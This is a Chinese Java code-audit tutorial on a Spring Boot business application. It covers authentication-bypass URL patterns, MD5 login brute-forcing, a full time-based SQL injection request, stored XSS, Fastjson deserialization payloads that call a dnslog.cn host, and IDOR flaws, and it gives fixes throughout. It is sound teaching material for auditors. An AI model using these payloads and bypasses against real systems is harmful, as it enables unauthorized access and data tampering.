作者:不染
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
本篇文章为Java代码审计入门的一篇文章,篇幅有限,很多漏洞没有审计覆盖,以后有时间再更新一个系列。
核心框架:SpringBoot 2.0.0
持久层框架:Mybatis 1.3.2
日志管理:Log4j 2.10.0
前端框架:Vue 2.6.10
UI框架: Ant-Design-Vue 1.5.2
模板框架: Jeecg-Boot 2.2.0
项目管理框架: Maven 3.2.3
IDE: IntelliJ IDEA
DB: Mysql 5.7.33
JDK: JDK 1.8
Node: Node 8.17.0
Maven: Maven 3.2.3+
Redis: 6.2.1
Tomcat: 9.0.45
如果可以结合渗透测试,那就先看看这套程序有哪些功能,然后从漏洞级别高危到低危挖漏洞(比如任意文件删除,xss,文件上传之类);
同时利用fortify进行扫描,生成初步扫描结果,进行误报分析,排除误报
确定框架,分析框架漏洞,分析组件漏洞,查看是否有常见存在漏洞的第三方组件、查看已知安全策略,比如有没有配置sql注入或者xss过滤器;
如果可以查看系统的设计文档、接口文档,那就通过分析业务设计的合理性来分析逻辑漏洞, 根据接口文档,通过正向数据流分析漏洞;
漏洞级别从高危到低危搜索一些敏感函数、关键函数以及敏感关键字,查看调用链是否有安全措施;
如果是微服务架构,单个系统先进行审计,后续整体进行评估,评判接口,逻辑设计等问题 。
注意:代码审计只是找出了可能会造成安全问题的风险项,受多重因素(比如WAF、参数并非前端传入)等影响,并非能被直接利用。
先查看pom.xml文件,发现是SpringBoot框架,并且FastJson为1.2.55版本(这是一个漏洞版本)。
SpringBoot的执行流程和SSM大致相同,不过SpringBoot搭建的Web项目里简化了许多配置文件。
之后再查看application.properties文件,发现这里超时时间过长
数据库连接也是弱密码和明文(生产环境请用强加密或强密码)
全文没有看到XSS及SQL注入过滤器及相关插件。试一试Springboot的信息泄露:路由地址及接口调用详情泄漏开发人员没有意识到地址泄漏会导致安全隐患或者开发环境切换为线上生产环境时,相关人员没有更改配置文件,忘记切换环境配置等。
直接访问以下swagger 相关路由链接来验证漏洞是否存在:
http://192.168.0.1:8080/v2/api-docs
一般来讲,暴露出 spring boot 应用的相关接口和传参信息并不能算是漏洞,但是以 “默认安全” 来讲,不暴露出这些信息更加安全。对于攻击者来讲,一般会仔细审计暴露出的接口以增加对业务系统的了解,并会同时检查应用系统是否存在未授权访问、越权等其他业务类型漏洞。
继续看一下过滤器都过滤了哪些内容,搜索@WebFilter定位
这里看到,对ignoredUrl及filterPath的value内的字段做请求时不会进行拦截
接着再看doFilter方法是如何实现的
由上述分析总结出触发认证绕过的场景:
requestUrl中如果存在/doc.html,/register.html,/login.html字段就可以绕过。
requestUrl中如果存在…/a.css/…/,…/a.png/…/,也可以绕过认证请求。
requestUrl中如果以/user/login,/user/registerUser,/v2/api-docs等字符开头的时候,也可以绕过认证请求。
1、验证第一种情况:
requestUrl中如果存在/doc.html,/register.html,/login.html字段就可以绕过。
加入payload请求:
成功绕过验证去请求接口并得到数据。
2、验证第二种情况:requestUrl中如果存在…/a.css/…/,…/a.png/…/,也可以绕过认证请求。
无JSESSIONID请求:
被重定向到登录界面
加入payload请求:
成功绕过验证去请求接口并得到数据。
3、验证第三种情况:
requestUrl中如果以/user/login,/user/registerUser,/v2/api-docs等字符开头的时候,也可以绕过认证请求。
加入payload请求:
成功绕过验证去请求接口并得到数据。
可以使用Java Web权限认证框架,比如Shiro或Spring Security。
观察用户登录时的判断逻辑,是否是简单判断,有没有做限制措施,比如次数锁定。
抓包查看,似乎是MD5加密。
验证了一下,果然!
这里看到密码做MD5加密处理,并没有其他复杂加密。
弱加密、没有验证码,如果还没有账户错误次数锁定的话,就可以暴力破解了。
由response返回包中的响应码可以看到,暴力破解成功。
加入token机制,每次登录页面都会随机生成Token字串;
账号锁定机制,数次登录失败后,账号会锁定;
加强敏感字段的加密方式,比如使用SHA-256、SHA-384、SHA-512代替MD5,或者MD5加其他字段。
登录账号成功后记录下会话标识的值,然后退出系统,再次登录,如果第二次的会话标识值和第一次的相同,则存在此问题。
BurpSuite抓包可以看出,两次session是一致的。
在logout函数中,并没有对session做会话失效操作,或者未在登录时做会话初始化操作。
可以在这加一段初始化session的代码。
request.getSession().invalidate();
用户登录时生成新的Session ID。如果不是有效的会话标识符,服务器将会要求用户重新登录。
SQL 注入一般 fortify都能扫描出来;
或者pom.xml中看到系统使用的是Mybatis框架,可以直接去审查Maper.xml文件,查看是否使用$拼接。
在之前的pom.xml文件中发现该框架使用的是Mybatis的数据库,并且为XML配置方式。
Mybatis框架在配置及数据层交互式是有注解和XML两种配置方式。
可以根据Fortify的扫描结果来排除误报:
在项目中全局搜索 ${
随便点一个
这里使用了不安全的拼接的模糊查询,继续搜索selectByConditionUser。
这是一个数据处理层的接口类。
继续搜索UserMapperEx.selectByConditionUser。
这是Service层,继续搜索UserService.select(
这里看到userName,loginName是从search字段中获取的,并且参数可控,接下来继续找Controller层的调用。
这里看到,其实UserComponent类实现了ICmmonQuery接口,并调用了select方法。
而且该目录下存在InterfaceContainer接口文件。
该段代码逻辑:调用init() 初始化函数 ,将service组件放入configComponentMap中,再调用getCommonQuery方法根据传进来的apiName获取对应的service组件。
继续搜索getCommonQuery(。
继续搜索CommonQueryManager,回溯到Controller层。
上述代码逻辑:实例化CommonQueryManager类的一个对象configResourceManager去调用select方法,传入apiName与paramterMap。
当然role/list这个方法里也存在SQL注入漏洞:验证POC:
GET /role/list?search=%7B%22name%22%3A%221'%20or%20sleep(3)--+%22%7D¤tPage=1&pageSize=10 HTTP/1.1
Host: 192.168.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: [http://192.168.0.1:8080/pages/manage/role.html](http://192.168.0.1:8080/pages/manage/role.html)
Cookie: JSESSIONID=6FFE9B1B443F8CB5D89481768D578794; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1624687383; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1624689767
可以看到SQL注入成功,但sleep返回时间比较久。
主要是因为错误和延迟。
在查询语句中使用sleep函数,那么休眠的时间跟返回的记录有关。如果表记录为空,不会休眠,如果表记录一条,那么休眠时间为1n,如果表记录为2,那休眠时间为:2n …以此类推。
控制台看到的SQL语句:
上述Fortify扫描结果也可以看出,SQL注入漏洞太多,这里不再演示。
预编译(参数化查询);
存储过程(使用CallableStatement对存储过程接口的实现来执行数据库查询,SQL代码定义并存储在数据库本身中,然后从应用程序中调用,使用存储过程和预编译在防SQLi方面的效果是相同的);
黑/白名单验证(对于诸如排序顺序之类的简单操作,最好将用户提供的输入转换为布尔值,然后将该布尔值用于选择要附加到查询的安全值);
输出转义(将用户输入放入查询之前对其进行转义,大多使用ESAPI)
框架修复(#代替$)。
注意:order by 绕过预编译(order by 后面是不能用预编译处理的只能通过拼接处理,只能手动进行过滤)。
反射型 XSS一般fortify都能扫描出来;
web.xml找过滤器看是否有调用 sql 语句存储到数据库,以及是否将内容输出到前端,满足这两点才会存在(当然要没有过滤才可以)。
前面一开始审计的时候,已经知道全文没有XSS过滤器及相关插件和过滤操作。
在某收入单的备注参数处插入xss payload:
看一下控制台的SQL语句,无任何防护措施直接存入数据库。
从代码上看,也没有对输入、输出做任何过滤及转义操作。
直接将查询出的结果以json的形式输出。其他参数也同样存在此漏洞。
1、全局编写过滤器。
配置web.xml,添加过滤器,比如xssAndSqlFilter
2、比如添加一个jar包:commons-lang-2.5.jar ,然后在后台调用这些函数:
StringEscapeUtils.escapeHtml(string);
StringEscapeUtils.escapeJavaScript(string);
StringEscapeUtils.escapeSql(string);
3、 org.springframework.web.util.HtmlUtils可以实现HTML标签及转义字符之间的转换。
/** HTML转义 **/
String string = HtmlUtils.htmlEscape(userinput); //转义
String s2 = HtmlUtils.htmlUnescape(string); //转成原来的
反序列化操作一般在导入模版文件、网络通信、数据传输、日志格式化存储、对象数据磁盘或 DB 存储等业务场景。
在代码审计时可重点关注一些反序列化操作函数并判断输入是否可控,如下:
ObjectInputStream.readObject、
ObjectInputStream.readUnshared、
XMLDecoder.readObject、
Yaml.load、
XStream.fromXML、
ObjectMapper.readValue、
JSON.parseObject
而FastJson的核心在于:调用fastjson.JSON的parseObject函数将json字符串反序列化成对象。
搜索parseObject(
查看一个Util接口文件,这里直接将search的内容传入parseObject方法中进行解析。
继续搜索StringUtil.getInfo(
在SQL注入的时候已经分析过,search是从前端传进来的参数。
构造payload:
search={"@type":"java.net.Inet4Address","val":"ajgk2h.dnslog.cn"}
url编码转换的payload:
search=%7B%22@type%22:%22java.net.Inet4Address%22,%22val%22:%22ajgk2h.dnslog.cn%22%7D
dnslog平台已经收到了相应的请求
根据上面查找的结果,search接口全都存在fastjson反序列化漏洞。
search={"@type":"java.net.Inet4Address","val":"hsu1wn.dnslog.cn"}
url编码后的payload:
search=%7B%22@type%22:%22java.net.Inet4Address%22,%22val%22:%22hsu1wn.dnslog.cn%22%7D
利用上面的认证绕过,可以进行未授权命令执行:
dnslog平台已经收到了相应的请求
重点关注用户操作请求时查看是否有对当前登陆用户权限做校验从而确定是否存在漏洞;
有些厂商会使用一些主流的权限框架,例如 shiro ,spring security 等框架,那么需要重点关注框架的配置文件以及实现方法;
如果没有使用框架的话,就需要注意每个操作里是否有权限;
controller层找请求,看请求资源和操作处是否绑定userid。
漏洞位置:系统管理>用户管理>选择用户>重置密码
抓取数据包查看
这里传入用户id,就可以重置该用户的密码
在service层查看resetPwd方法的具体实现
这里只禁止了重置admin超级管理员密码,但没有对当前用户身份做判断
使用jsh用户的身份去重置test123用户密码:
可以看到,这里成功使用jsh用户重置了test123用户的密码
漏洞位置:系统管理>用户管理>选择用户>删除用户信息
利用BurpSuite抓取数据包查看
代码这里能看到,传入用户ids,就可以删除该用户信息
在Service层查看batDeleteUser方法的具体实现:传入ids参数,使用,分割,接着调用batDeleteOrUpdateUser方法将ids参数拼接到sql语句中,没有对当前用户身份做判断就进行删除。
利用jsh用户删除test123用户:
利用认证绕过,可以根据用户ids未授权删除任意用户
漏洞位置:系统管理>用户管理>选择用户>编辑用户信息
利用BurpSuite抓取数据包查看
重点关注id和info两个参数
在Service层查看updateUserAndOrgUserRel方法的具体实现:
继续查看checkUserNameAndLoginName方法:
上下两图代码逻辑分析:调用getLoginName方法来获取传入的id对应的登录名,之后调用getUserListByUserNameOrLoginName方法将登录名拼接到sql语句中来获取用户列表,再从列表中取出id与前端传入的id作比较,相同的话就可以更新数据。(这里并没有对当前用户身份做判断)
利用jsh用户修改id为133的用户的信息:
可以看到,已成功修改其他用户信息。
执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限。
由于篇幅有限,并未对其他相关漏洞进行审计,后续可能也会再写文章进行其他类型漏洞审计,师傅们可以多关注下灼剑(Tsojan)安全团队的其他文章,希望会对师傅们有些帮助。
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!